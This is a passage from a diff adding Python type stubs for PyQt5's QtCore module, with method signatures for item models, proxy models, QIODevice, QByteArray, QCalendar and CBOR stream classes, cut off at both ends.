'QByteArray']: ... + def supportedDragActions(self) -> Qt.DropActions: ... + def removeColumn(self, column: int, parent: QModelIndex = ...) -> bool: ... + def removeRow(self, row: int, parent: QModelIndex = ...) -> bool: ... + def insertColumn(self, column: int, parent: QModelIndex = ...) -> bool: ... + def insertRow(self, row: int, parent: QModelIndex = ...) -> bool: ... + def changePersistentIndexList(self, from_: typing.Iterable[QModelIndex], to: typing.Iterable[QModelIndex]) -> None: ... + def changePersistentIndex(self, from_: QModelIndex, to: QModelIndex) -> None: ... + def persistentIndexList(self) -> typing.List[QModelIndex]: ... + def endRemoveColumns(self) -> None: ... + def beginRemoveColumns(self, parent: QModelIndex, first: int, last: int) -> None: ... + def endInsertColumns(self) -> None: ... + def beginInsertColumns(self, parent: QModelIndex, first: int, last: int) -> None: ... + def endRemoveRows(self) -> None: ... + def beginRemoveRows(self, parent: QModelIndex, first: int, last: int) -> None: ... + def endInsertRows(self) -> None: ... + def beginInsertRows(self, parent: QModelIndex, first: int, last: int) -> None: ... + def decodeData(self, row: int, column: int, parent: QModelIndex, stream: 'QDataStream') -> bool: ... + def encodeData(self, indexes: typing.Iterable[QModelIndex], stream: 'QDataStream') -> None: ... + def revert(self) -> None: ... + def submit(self) -> bool: ... + def modelReset(self) -> None: ... + def modelAboutToBeReset(self) -> None: ... + def columnsRemoved(self, parent: QModelIndex, first: int, last: int) -> None: ... + def columnsAboutToBeRemoved(self, parent: QModelIndex, first: int, last: int) -> None: ... + def columnsInserted(self, parent: QModelIndex, first: int, last: int) -> None: ... + def columnsAboutToBeInserted(self, parent: QModelIndex, first: int, last: int) -> None: ... + def rowsRemoved(self, parent: QModelIndex, first: int, last: int) -> None: ... + def rowsAboutToBeRemoved(self, parent: QModelIndex, first: int, last: int) -> None: ... + def rowsInserted(self, parent: QModelIndex, first: int, last: int) -> None: ... + def rowsAboutToBeInserted(self, parent: QModelIndex, first: int, last: int) -> None: ... + def layoutChanged(self, parents: typing.Iterable[QPersistentModelIndex] = ..., hint: 'QAbstractItemModel.LayoutChangeHint' = ...) -> None: ... + def layoutAboutToBeChanged(self, parents: typing.Iterable[QPersistentModelIndex] = ..., hint: 'QAbstractItemModel.LayoutChangeHint' = ...) -> None: ... + def headerDataChanged(self, orientation: Qt.Orientation, first: int, last: int) -> None: ... + def dataChanged(self, topLeft: QModelIndex, bottomRight: QModelIndex, roles: typing.Iterable[int] = ...) -> None: ... + def span(self, index: QModelIndex) -> 'QSize': ... + def match(self, start: QModelIndex, role: int, value: typing.Any, hits: int = ..., flags: typing.Union[Qt.MatchFlags, Qt.MatchFlag] = ...) -> typing.List[QModelIndex]: ... + def buddy(self, index: QModelIndex) -> QModelIndex: ... + def sort(self, column: int, order: Qt.SortOrder = ...) -> None: ... + def flags(self, index: QModelIndex) -> Qt.ItemFlags: ... + def canFetchMore(self, parent: QModelIndex) -> bool: ... + def fetchMore(self, parent: QModelIndex) -> None: ... + def removeColumns(self, column: int, count: int, parent: QModelIndex = ...) -> bool: ... + def removeRows(self, row: int, count: int, parent: QModelIndex = ...) -> bool: ... + def insertColumns(self, column: int, count: int, parent: QModelIndex = ...) -> bool: ... + def insertRows(self, row: int, count: int, parent: QModelIndex = ...) -> bool: ... + def supportedDropActions(self) -> Qt.DropActions: ... + def dropMimeData(self, data: 'QMimeData', action: Qt.DropAction, row: int, column: int, parent: QModelIndex) -> bool: ... + def mimeData(self, indexes: typing.Iterable[QModelIndex]) -> 'QMimeData': ... + def mimeTypes(self) -> typing.List[str]: ... + def setItemData(self, index: QModelIndex, roles: typing.Dict[int, typing.Any]) -> bool: ... + def itemData(self, index: QModelIndex) -> typing.Dict[int, typing.Any]: ... + def setHeaderData(self, section: int, orientation: Qt.Orientation, value: typing.Any, role: int = ...) -> bool: ... + def headerData(self, section: int, orientation: Qt.Orientation, role: int = ...) -> typing.Any: ... + def setData(self, index: QModelIndex, value: typing.Any, role: int = ...) -> bool: ... + def data(self, index: QModelIndex, role: int = ...) -> typing.Any: ... + def hasChildren(self, parent: QModelIndex = ...) -> bool: ... + def columnCount(self, parent: QModelIndex = ...) -> int: ... + def rowCount(self, parent: QModelIndex = ...) -> int: ... + def sibling(self, row: int, column: int, idx: QModelIndex) -> QModelIndex: ... + @typing.overload + def parent(self, child: QModelIndex) -> QModelIndex: ... + @typing.overload + def parent(self) -> QObject: ... + def index(self, row: int, column: int, parent: QModelIndex = ...) -> QModelIndex: ... + def hasIndex(self, row: int, column: int, parent: QModelIndex = ...) -> bool: ... + + +class QAbstractTableModel(QAbstractItemModel): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def sibling(self, row: int, column: int, idx: QModelIndex) -> QModelIndex: ... + def parent(self) -> QObject: ... + def flags(self, index: QModelIndex) -> Qt.ItemFlags: ... + def dropMimeData(self, data: 'QMimeData', action: Qt.DropAction, row: int, column: int, parent: QModelIndex) -> bool: ... + def index(self, row: int, column: int, parent: QModelIndex = ...) -> QModelIndex: ... + + +class QAbstractListModel(QAbstractItemModel): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def sibling(self, row: int, column: int, idx: QModelIndex) -> QModelIndex: ... + def parent(self) -> QObject: ... + def flags(self, index: QModelIndex) -> Qt.ItemFlags: ... + def dropMimeData(self, data: 'QMimeData', action: Qt.DropAction, row: int, column: int, parent: QModelIndex) -> bool: ... + def index(self, row: int, column: int = ..., parent: QModelIndex = ...) -> QModelIndex: ... + + +class QAbstractNativeEventFilter(sip.simplewrapper): + + def __init__(self) -> None: ... + + def nativeEventFilter(self, eventType: typing.Union['QByteArray', bytes, bytearray], message: PyQt5.sip.voidptr) -> typing.Tuple[bool, int]: ... + + +class QAbstractProxyModel(QAbstractItemModel): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def supportedDragActions(self) -> Qt.DropActions: ... + def dropMimeData(self, data: 'QMimeData', action: Qt.DropAction, row: int, column: int, parent: QModelIndex) -> bool: ... + def canDropMimeData(self, data: 'QMimeData', action: Qt.DropAction, row: int, column: int, parent: QModelIndex) -> bool: ... + def sourceModelChanged(self) -> None: ... + def resetInternalData(self) -> None: ... + def sibling(self, row: int, column: int, idx: QModelIndex) -> QModelIndex: ... + def supportedDropActions(self) -> Qt.DropActions: ... + def mimeTypes(self) -> typing.List[str]: ... + def mimeData(self, indexes: typing.Iterable[QModelIndex]) -> 'QMimeData': ... + def hasChildren(self, parent: QModelIndex = ...) -> bool: ... + def span(self, index: QModelIndex) -> 'QSize': ... + def sort(self, column: int, order: Qt.SortOrder = ...) -> None: ... + def fetchMore(self, parent: QModelIndex) -> None: ... + def canFetchMore(self, parent: QModelIndex) -> bool: ... + def buddy(self, index: QModelIndex) -> QModelIndex: ... + def setItemData(self, index: QModelIndex, roles: typing.Dict[int, typing.Any]) -> bool: ... + def flags(self, index: QModelIndex) -> Qt.ItemFlags: ... + def itemData(self, index: QModelIndex) -> typing.Dict[int, typing.Any]: ... + def setHeaderData(self, section: int, orientation: Qt.Orientation, value: typing.Any, role: int = ...) -> bool: ... + def headerData(self, section: int, orientation: Qt.Orientation, role: int = ...) -> typing.Any: ... + def setData(self, index: QModelIndex, value: typing.Any, role: int = ...) -> bool: ... + def data(self, proxyIndex: QModelIndex, role: int = ...) -> typing.Any: ... + def revert(self) -> None: ... + def submit(self) -> bool: ... + def mapSelectionFromSource(self, selection: 'QItemSelection') -> 'QItemSelection': ... + def mapSelectionToSource(self, selection: 'QItemSelection') -> 'QItemSelection': ... + def mapFromSource(self, sourceIndex: QModelIndex) -> QModelIndex: ... + def mapToSource(self, proxyIndex: QModelIndex) -> QModelIndex: ... + def sourceModel(self) -> QAbstractItemModel: ... + def setSourceModel(self, sourceModel: QAbstractItemModel) -> None: ... + + +class QAbstractState(QObject): + + def __init__(self, parent: typing.Optional['QState'] = ...) -> None: ... + + def event(self, e: 'QEvent') -> bool: ... + def onExit(self, event: 'QEvent') -> None: ... + def onEntry(self, event: 'QEvent') -> None: ... + def exited(self) -> None: ... + def entered(self) -> None: ... + def activeChanged(self, active: bool) -> None: ... + def active(self) -> bool: ... + def machine(self) -> 'QStateMachine': ... + def parentState(self) -> 'QState': ... + + +class QAbstractTransition(QObject): + + class TransitionType(int): + ExternalTransition = ... # type: QAbstractTransition.TransitionType + InternalTransition = ... # type: QAbstractTransition.TransitionType + + def __init__(self, sourceState: typing.Optional['QState'] = ...) -> None: ... + + def setTransitionType(self, type: 'QAbstractTransition.TransitionType') -> None: ... + def transitionType(self) -> 'QAbstractTransition.TransitionType': ... + def event(self, e: 'QEvent') -> bool: ... + def onTransition(self, event: 'QEvent') -> None: ... + def eventTest(self, event: 'QEvent') -> bool: ... + def targetStatesChanged(self) -> None: ... + def targetStateChanged(self) -> None: ... + def triggered(self) -> None: ... + def animations(self) -> typing.List[QAbstractAnimation]: ... + def removeAnimation(self, animation: QAbstractAnimation) -> None: ... + def addAnimation(self, animation: QAbstractAnimation) -> None: ... + def machine(self) -> 'QStateMachine': ... + def setTargetStates(self, targets: typing.Iterable[QAbstractState]) -> None: ... + def targetStates(self) -> typing.List[QAbstractState]: ... + def setTargetState(self, target: QAbstractState) -> None: ... + def targetState(self) -> QAbstractState: ... + def sourceState(self) -> 'QState': ... + + +class QAnimationGroup(QAbstractAnimation): + + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + + def event(self, event: 'QEvent') -> bool: ... + def clear(self) -> None: ... + def takeAnimation(self, index: int) -> QAbstractAnimation: ... + def removeAnimation(self, animation: QAbstractAnimation) -> None: ... + def insertAnimation(self, index: int, animation: QAbstractAnimation) -> None: ... + def addAnimation(self, animation: QAbstractAnimation) -> None: ... + def indexOfAnimation(self, animation: QAbstractAnimation) -> int: ... + def animationCount(self) -> int: ... + def animationAt(self, index: int) -> QAbstractAnimation: ... + + +class QBasicTimer(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QBasicTimer') -> None: ... + + def swap(self, other: 'QBasicTimer') -> None: ... + def stop(self) -> None: ... + @typing.overload + def start(self, msec: int, timerType: Qt.TimerType, obj: QObject) -> None: ... + @typing.overload + def start(self, msec: int, obj: QObject) -> None: ... + def timerId(self) -> int: ... + def isActive(self) -> bool: ... + + +class QBitArray(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, size: int, value: bool = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QBitArray') -> None: ... + + @staticmethod + def fromBits(data: bytes, len: int) -> 'QBitArray': ... + def bits(self) -> bytes: ... + def swap(self, other: 'QBitArray') -> None: ... + def __hash__(self) -> int: ... + def at(self, i: int) -> bool: ... + def __getitem__(self, i: int) -> bool: ... + def toggleBit(self, i: int) -> bool: ... + def clearBit(self, i: int) -> None: ... + @typing.overload + def setBit(self, i: int) -> None: ... + @typing.overload + def setBit(self, i: int, val: bool) -> None: ... + def testBit(self, i: int) -> bool: ... + def truncate(self, pos: int) -> None: ... + @typing.overload + def fill(self, val: bool, first: int, last: int) -> None: ... + @typing.overload + def fill(self, value: bool, size: int = ...) -> bool: ... + def __invert__(self) -> 'QBitArray': ... + def clear(self) -> None: ... + def isDetached(self) -> bool: ... + def detach(self) -> None: ... + def resize(self, size: int) -> None: ... + def isNull(self) -> bool: ... + def isEmpty(self) -> bool: ... + def __len__(self) -> int: ... + @typing.overload + def count(self) -> int: ... + @typing.overload + def count(self, on: bool) -> int: ... + def size(self) -> int: ... + + +class QIODevice(QObject): + + class OpenModeFlag(int): + NotOpen = ... # type: QIODevice.OpenModeFlag + ReadOnly = ... # type: QIODevice.OpenModeFlag + WriteOnly = ... # type: QIODevice.OpenModeFlag + ReadWrite = ... # type: QIODevice.OpenModeFlag + Append = ... # type: QIODevice.OpenModeFlag + Truncate = ... # type: QIODevice.OpenModeFlag + Text = ... # type: QIODevice.OpenModeFlag + Unbuffered = ... # type: QIODevice.OpenModeFlag + NewOnly = ... # type: QIODevice.OpenModeFlag + ExistingOnly = ... # type: QIODevice.OpenModeFlag + + class OpenMode(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QIODevice.OpenMode', 'QIODevice.OpenModeFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QIODevice.OpenMode') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QIODevice.OpenMode': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, parent: QObject) -> None: ... + + def skip(self, maxSize: int) -> int: ... + def channelBytesWritten(self, channel: int, bytes: int) -> None: ... + def channelReadyRead(self, channel: int) -> None: ... + def isTransactionStarted(self) -> bool: ... + def rollbackTransaction(self) -> None: ... + def commitTransaction(self) -> None: ... + def startTransaction(self) -> None: ... + def setCurrentWriteChannel(self, channel: int) -> None: ... + def currentWriteChannel(self) -> int: ... + def setCurrentReadChannel(self, channel: int) -> None: ... + def currentReadChannel(self) -> int: ... + def writeChannelCount(self) -> int: ... + def readChannelCount(self) -> int: ... + def setErrorString(self, errorString: str) -> None: ... + def setOpenMode(self, openMode: typing.Union['QIODevice.OpenMode', 'QIODevice.OpenModeFlag']) -> None: ... + def writeData(self, data: bytes) -> int: ... + def readLineData(self, maxlen: int) -> bytes: ... + def readData(self, maxlen: int) -> bytes: ... + def readChannelFinished(self) -> None: ... + def aboutToClose(self) -> None: ... + def bytesWritten(self, bytes: int) -> None: ... + def readyRead(self) -> None: ... + def errorString(self) -> str: ... + def getChar(self) -> typing.Tuple[bool, bytes]: ... + def putChar(self, c: str) -> bool: ... + def ungetChar(self, c: str) -> None: ... + def waitForBytesWritten(self, msecs: int) -> bool: ... + def waitForReadyRead(self, msecs: int) -> bool: ... + def write(self, data: typing.Union['QByteArray', bytes, bytearray]) -> int: ... + def peek(self, maxlen: int) -> 'QByteArray': ... + def canReadLine(self) -> bool: ... + def readLine(self, maxlen: int = ...) -> bytes: ... + def readAll(self) -> 'QByteArray': ... + def read(self, maxlen: int) -> bytes: ... + def bytesToWrite(self) -> int: ... + def bytesAvailable(self) -> int: ... + def reset(self) -> bool: ... + def atEnd(self) -> bool: ... + def seek(self, pos: int) -> bool: ... + def size(self) -> int: ... + def pos(self) -> int: ... + def close(self) -> None: ... + def open(self, mode: typing.Union['QIODevice.OpenMode', 'QIODevice.OpenModeFlag']) -> bool: ... + def isSequential(self) -> bool: ... + def isWritable(self) -> bool: ... + def isReadable(self) -> bool: ... + def isOpen(self) -> bool: ... + def isTextModeEnabled(self) -> bool: ... + def setTextModeEnabled(self, enabled: bool) -> None: ... + def openMode(self) -> 'QIODevice.OpenMode': ... + + +class QBuffer(QIODevice): + + @typing.overload + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, byteArray: 'QByteArray', parent: typing.Optional[QObject] = ...) -> None: ... + + def disconnectNotify(self, a0: 'QMetaMethod') -> None: ... + def connectNotify(self, a0: 'QMetaMethod') -> None: ... + def writeData(self, data: bytes) -> int: ... + def readData(self, maxlen: int) -> bytes: ... + def canReadLine(self) -> bool: ... + def atEnd(self) -> bool: ... + def seek(self, off: int) -> bool: ... + def pos(self) -> int: ... + def size(self) -> int: ... + def close(self) -> None: ... + def open(self, openMode: typing.Union[QIODevice.OpenMode, QIODevice.OpenModeFlag]) -> bool: ... + @typing.overload + def setData(self, data: typing.Union['QByteArray', bytes, bytearray]) -> None: ... + @typing.overload + def setData(self, adata: bytes) -> None: ... + def setBuffer(self, a: 'QByteArray') -> None: ... + def data(self) -> 'QByteArray': ... + def buffer(self) -> 'QByteArray': ... + + +class QByteArray(sip.simplewrapper): + + class Base64DecodingStatus(int): + Ok = ... # type: QByteArray.Base64DecodingStatus + IllegalInputLength = ... # type: QByteArray.Base64DecodingStatus + IllegalCharacter = ... # type: QByteArray.Base64DecodingStatus + IllegalPadding = ... # type: QByteArray.Base64DecodingStatus + + class Base64Option(int): + Base64Encoding = ... # type: QByteArray.Base64Option + Base64UrlEncoding = ... # type: QByteArray.Base64Option + KeepTrailingEquals = ... # type: QByteArray.Base64Option + OmitTrailingEquals = ... # type: QByteArray.Base64Option + IgnoreBase64DecodingErrors = ... # type: QByteArray.Base64Option + AbortOnBase64DecodingErrors = ... # type: QByteArray.Base64Option + + class Base64Options(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QByteArray.Base64Options', 'QByteArray.Base64Option']) -> None: ... + @typing.overload + def __init__(self, a0: 'QByteArray.Base64Options') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QByteArray.Base64Options': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class FromBase64Result(sip.simplewrapper): + + decoded = ... # type: typing.Union['QByteArray', bytes, bytearray] + decodingStatus = ... # type: 'QByteArray.Base64DecodingStatus' + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QByteArray.FromBase64Result') -> None: ... + + def __hash__(self) -> int: ... + def __int__(self) -> bool: ... + def swap(self, other: 'QByteArray.FromBase64Result') -> None: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, size: int, c: str) -> None: ... + @typing.overload + def __init__(self, a: typing.Union['QByteArray', bytes, bytearray]) -> None: ... + + @staticmethod + def fromBase64Encoding(base64: typing.Union['QByteArray', bytes, bytearray], options: typing.Union['QByteArray.Base64Options', 'QByteArray.Base64Option'] = ...) -> 'QByteArray.FromBase64Result': ... + def isLower(self) -> bool: ... + def isUpper(self) -> bool: ... + def compare(self, a: typing.Union['QByteArray', bytes, bytearray], cs: Qt.CaseSensitivity = ...) -> int: ... + def chopped(self, len: int) -> 'QByteArray': ... + def swap(self, other: 'QByteArray') -> None: ... + def repeated(self, times: int) -> 'QByteArray': ... + @staticmethod + def fromPercentEncoding(input: typing.Union['QByteArray', bytes, bytearray], percent: str = ...) -> 'QByteArray': ... + def toPercentEncoding(self, exclude: typing.Union['QByteArray', bytes, bytearray] = ..., include: typing.Union['QByteArray', bytes, bytearray] = ..., percent: str = ...) -> 'QByteArray': ... + @typing.overload + def toHex(self) -> 'QByteArray': ... + @typing.overload + def toHex(self, separator: str) -> 'QByteArray': ... + def contains(self, a: typing.Union['QByteArray', bytes, bytearray]) -> bool: ... + def push_front(self, a: typing.Union['QByteArray', bytes, bytearray]) -> None: ... + def push_back(self, a: typing.Union['QByteArray', bytes, bytearray]) -> None: ... + def squeeze(self) -> None: ... + def reserve(self, size: int) -> None: ... + def capacity(self) -> int: ... + def data(self) -> bytes: ... + def isEmpty(self) -> bool: ... + def __repr__(self) -> str: ... + def __str__(self) -> str: ... + def __hash__(self) -> int: ... + def __contains__(self, a: typing.Union['QByteArray', bytes, bytearray]) -> int: ... + @typing.overload + def __getitem__(self, i: int) -> bytes: ... + @typing.overload + def __getitem__(self, slice: slice) -> 'QByteArray': ... + def at(self, i: int) -> bytes: ... + def size(self) -> int: ... + def isNull(self) -> bool: ... + def length(self) -> int: ... + def __len__(self) -> int: ... + @staticmethod + def fromHex(hexEncoded: typing.Union['QByteArray', bytes, bytearray]) -> 'QByteArray': ... + @staticmethod + def fromRawData(a0: bytes) -> 'QByteArray': ... + @typing.overload + @staticmethod + def fromBase64(base64: typing.Union['QByteArray', bytes, bytearray]) -> 'QByteArray': ... + @typing.overload + @staticmethod + def fromBase64(base64: typing.Union['QByteArray', bytes, bytearray], options: typing.Union['QByteArray.Base64Options', 'QByteArray.Base64Option']) -> 'QByteArray': ... + @typing.overload + @staticmethod + def number(n: float, format: str = ..., precision: int = ...) -> 'QByteArray': ... + @typing.overload + @staticmethod + def number(n: int, base: int = ...) -> 'QByteArray': ... + @typing.overload + def setNum(self, n: float, format: str = ..., precision: int = ...) -> 'QByteArray': ... + @typing.overload + def setNum(self, n: int, base: int = ...) -> 'QByteArray': ... + @typing.overload + def toBase64(self) -> 'QByteArray': ... + @typing.overload + def toBase64(self, options: typing.Union['QByteArray.Base64Options', 'QByteArray.Base64Option']) -> 'QByteArray': ... + def toDouble(self) -> typing.Tuple[float, bool]: ... + def toFloat(self) -> typing.Tuple[float, bool]: ... + def toULongLong(self, base: int = ...) -> typing.Tuple[int, bool]: ... + def toLongLong(self, base: int = ...) -> typing.Tuple[int, bool]: ... + def toULong(self, base: int = ...) -> typing.Tuple[int, bool]: ... + def toLong(self, base: int = ...) -> typing.Tuple[int, bool]: ... + def toUInt(self, base: int = ...) -> typing.Tuple[int, bool]: ... + def toInt(self, base: int = ...) -> typing.Tuple[int, bool]: ... + def toUShort(self, base: int = ...) -> typing.Tuple[int, bool]: ... + def toShort(self, base: int = ...) -> typing.Tuple[int, bool]: ... + def split(self, sep: str) -> typing.List['QByteArray']: ... + @typing.overload + def replace(self, index: int, len: int, s: typing.Union['QByteArray', bytes, bytearray]) -> 'QByteArray': ... + @typing.overload + def replace(self, before: typing.Union['QByteArray', bytes, bytearray], after: typing.Union['QByteArray', bytes, bytearray]) -> 'QByteArray': ... + @typing.overload + def replace(self, before: str, after: typing.Union['QByteArray', bytes, bytearray]) -> 'QByteArray': ... + def remove(self, index: int, len: int) -> 'QByteArray': ... + @typing.overload + def insert(self, i: int, a: typing.Union['QByteArray', bytes, bytearray]) -> 'QByteArray': ... + @typing.overload + def insert(self, i: int, s: str) -> 'QByteArray': ... + @typing.overload + def insert(self, i: int, count: int, c: bytes) -> 'QByteArray': ... + @typing.overload + def append(self, a: typing.Union['QByteArray', bytes, bytearray]) -> 'QByteArray': ... + @typing.overload + def append(self, s: str) -> 'QByteArray': ... + @typing.overload + def append(self, count: int, c: bytes) -> 'QByteArray': ... + @typing.overload + def prepend(self, a: typing.Union['QByteArray', bytes, bytearray]) -> 'QByteArray': ... + @typing.overload + def prepend(self, count: int, c: bytes) -> 'QByteArray': ... + def rightJustified(self, width: int, fill: str = ..., truncate: bool = ...) -> 'QByteArray': ... + def leftJustified(self, width: int, fill: str = ..., truncate: bool = ...) -> 'QByteArray': ... + def simplified(self) -> 'QByteArray': ... + def trimmed(self) -> 'QByteArray': ... + def toUpper(self) -> 'QByteArray': ... + def toLower(self) -> 'QByteArray': ... + def chop(self, n: int) -> None: ... + def truncate(self, pos: int) -> None: ... + def endsWith(self, a: typing.Union['QByteArray', bytes, bytearray]) -> bool: ... + def startsWith(self, a: typing.Union['QByteArray', bytes, bytearray]) -> bool: ... + def mid(self, pos: int, length: int = ...) -> 'QByteArray': ... + def right(self, len: int) -> 'QByteArray': ... + def left(self, len: int) -> 'QByteArray': ... + @typing.overload + def count(self, a: typing.Union['QByteArray', bytes, bytearray]) -> int: ... + @typing.overload + def count(self) -> int: ... + @typing.overload + def lastIndexOf(self, ba: typing.Union['QByteArray', bytes, bytearray], from_: int = ...) -> int: ... + @typing.overload + def lastIndexOf(self, str: str, from_: int = ...) -> int: ... + @typing.overload + def indexOf(self, ba: typing.Union['QByteArray', bytes, bytearray], from_: int = ...) -> int: ... + @typing.overload + def indexOf(self, str: str, from_: int = ...) -> int: ... + def clear(self) -> None: ... + def fill(self, ch: str, size: int = ...) -> 'QByteArray': ... + def resize(self, size: int) -> None: ... + + +class QByteArrayMatcher(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, pattern: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def __init__(self, other: 'QByteArrayMatcher') -> None: ... + + def pattern(self) -> QByteArray: ... + def indexIn(self, ba: typing.Union[QByteArray, bytes, bytearray], from_: int = ...) -> int: ... + def setPattern(self, pattern: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + + +class QCalendar(sip.simplewrapper): + + class System(int): + Gregorian = ... # type: QCalendar.System + Julian = ... # type: QCalendar.System + Milankovic = ... # type: QCalendar.System + Jalali = ... # type: QCalendar.System + IslamicCivil = ... # type: QCalendar.System + + Unspecified = ... # type: int + + class YearMonthDay(sip.simplewrapper): + + day = ... # type: int + month = ... # type: int + year = ... # type: int + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, year: int, month: int = ..., day: int = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QCalendar.YearMonthDay') -> None: ... + + def isValid(self) -> bool: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, system: 'QCalendar.System') -> None: ... + @typing.overload + def __init__(self, name: str) -> None: ... + @typing.overload + def __init__(self, a0: 'QCalendar') -> None: ... + + @staticmethod + def availableCalendars() -> typing.List[str]: ... + def dateTimeToString(self, format: str, datetime: typing.Union['QDateTime', datetime.datetime], dateOnly: typing.Union['QDate', datetime.date], timeOnly: typing.Union['QTime', datetime.time], locale: 'QLocale') -> str: ... + def standaloneWeekDayName(self, locale: 'QLocale', day: int, format: 'QLocale.FormatType' = ...) -> str: ... + def weekDayName(self, locale: 'QLocale', day: int, format: 'QLocale.FormatType' = ...) -> str: ... + def standaloneMonthName(self, locale: 'QLocale', month: int, year: int = ..., format: 'QLocale.FormatType' = ...) -> str: ... + def monthName(self, locale: 'QLocale', month: int, year: int = ..., format: 'QLocale.FormatType' = ...) -> str: ... + def dayOfWeek(self, date: typing.Union['QDate', datetime.date]) -> int: ... + def partsFromDate(self, date: typing.Union['QDate', datetime.date]) -> 'QCalendar.YearMonthDay': ... + @typing.overload + def dateFromParts(self, year: int, month: int, day: int) -> 'QDate': ... + @typing.overload + def dateFromParts(self, parts: 'QCalendar.YearMonthDay') -> 'QDate': ... + def name(self) -> str: ... + def maximumMonthsInYear(self) -> int: ... + def minimumDaysInMonth(self) -> int: ... + def maximumDaysInMonth(self) -> int: ... + def hasYearZero(self) -> bool: ... + def isProleptic(self) -> bool: ... + def isSolar(self) -> bool: ... + def isLuniSolar(self) -> bool: ... + def isLunar(self) -> bool: ... + def isGregorian(self) -> bool: ... + def isLeapYear(self, year: int) -> bool: ... + def isDateValid(self, year: int, month: int, day: int) -> bool: ... + def monthsInYear(self, year: int) -> int: ... + def daysInYear(self, year: int) -> int: ... + def daysInMonth(self, month: int, year: int = ...) -> int: ... + + +class QCborError(sip.simplewrapper): + + class Code(int): + UnknownError = ... # type: QCborError.Code + AdvancePastEnd = ... # type: QCborError.Code + InputOutputError = ... # type: QCborError.Code + GarbageAtEnd = ... # type: QCborError.Code + EndOfFile = ... # type: QCborError.Code + UnexpectedBreak = ... # type: QCborError.Code + UnknownType = ... # type: QCborError.Code + IllegalType = ... # type: QCborError.Code + IllegalNumber = ... # type: QCborError.Code + IllegalSimpleType = ... # type: QCborError.Code + InvalidUtf8String = ... # type: QCborError.Code + DataTooLarge = ... # type: QCborError.Code + NestingTooDeep = ... # type: QCborError.Code + UnsupportedType = ... # type: QCborError.Code + NoError = ... # type: QCborError.Code + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QCborError') -> None: ... + + def toString(self) -> str: ... + def code(self) -> 'QCborError.Code': ... + + +class QCborStreamWriter(sip.simplewrapper): + + @typing.overload + def __init__(self, device: QIODevice) -> None: ... + @typing.overload + def __init__(self, data: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + + def endMap(self) -> bool: ... + @typing.overload + def startMap(self) -> None: ... + @typing.overload + def startMap(self, count: int) -> None: ... + def endArray(self) -> bool: ... + @typing.overload + def startArray(self) -> None: ... + @typing.overload + def startArray(self, count: int) -> None: ... + def appendUndefined(self) -> None: ... + def appendNull(self) -> None: ... + @typing.overload + def append(self, st: QCborSimpleType) -> None: ... + @typing.overload + def append(self, tag: QCborKnownTags) -> None: ... + @typing.overload + def append(self, str: str) -> None: ... + @typing.overload + def append(self, ba: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def append(self, b: bool) -> None: ... + @typing.overload + def append(self, d: float) -> None: ... + @typing.overload + def append(self, a0: int) -> None: ... + def device(self) -> QIODevice: ... + def setDevice(self, device: QIODevice) -> None: ... + + +class QCborStreamReader(sip.simplewrapper): + + class StringResultCode(int): + EndOfString = ... # type: QCborStreamReader.StringResultCode + Ok = ... # type: QCborStreamReader.StringResultCode + Error = ... # type: QCborStreamReader.StringResultCode + + class Type(int): + UnsignedInteger = ... # type: QCborStreamReader.Type + NegativeInteger = ... # type: QCborStreamReader.Type + ByteString = ... # type: QCborStreamReader.Type + ByteArray = ... # type: QCborStreamReader.Type + TextString = ... # type: QCborStreamReader.Type + String = ... # type: QCborStreamReader.Type + Array = ... # type: QCborStreamReader.Type + Map = ... # type: QCborStreamReader.Type + Tag = ... # type: QCborStreamReader.Type + SimpleType = ... # type: QCborStreamReader.Type + HalfFloat = ... # type: QCborStreamReader.Type + Float16 = ... # type: QCborStreamReader.Type + Float = ... # type: QCborStreamReader.Type + Double = ... # type: QCborStreamReader.Type + Invalid = ... # type: QCborStreamReader.Type + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, data: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def __init__(self, device: QIODevice) -> None: ... + + def toInteger(self) -> int: ... + def toDouble(self) -> float: ... + def toSimpleType(self) -> QCborSimpleType: ... + def toUnsignedInteger(self) -> int: ... + def toBool(self) -> bool: ... + def readByteArray(self) -> typing.Tuple[QByteArray, 'QCborStreamReader.StringResultCode']: ... + def readString(self) -> typing.Tuple[str, 'QCborStreamReader.StringResultCode']: ... + def leaveContainer(self) -> bool: ... + def enterContainer(self) -> bool: ... + def isContainer(self) -> bool: ... + def __len__(self) -> int: ... + def length(self) -> int: ... + def isLengthKnown(self) -> bool: ... + def isUndefined(self) -> bool: ... + def isNull(self) -> bool: ... + def isBool(self) -> bool: ... + def isTrue(self) -> bool: ... + def isFalse(self) -> bool: ... + def 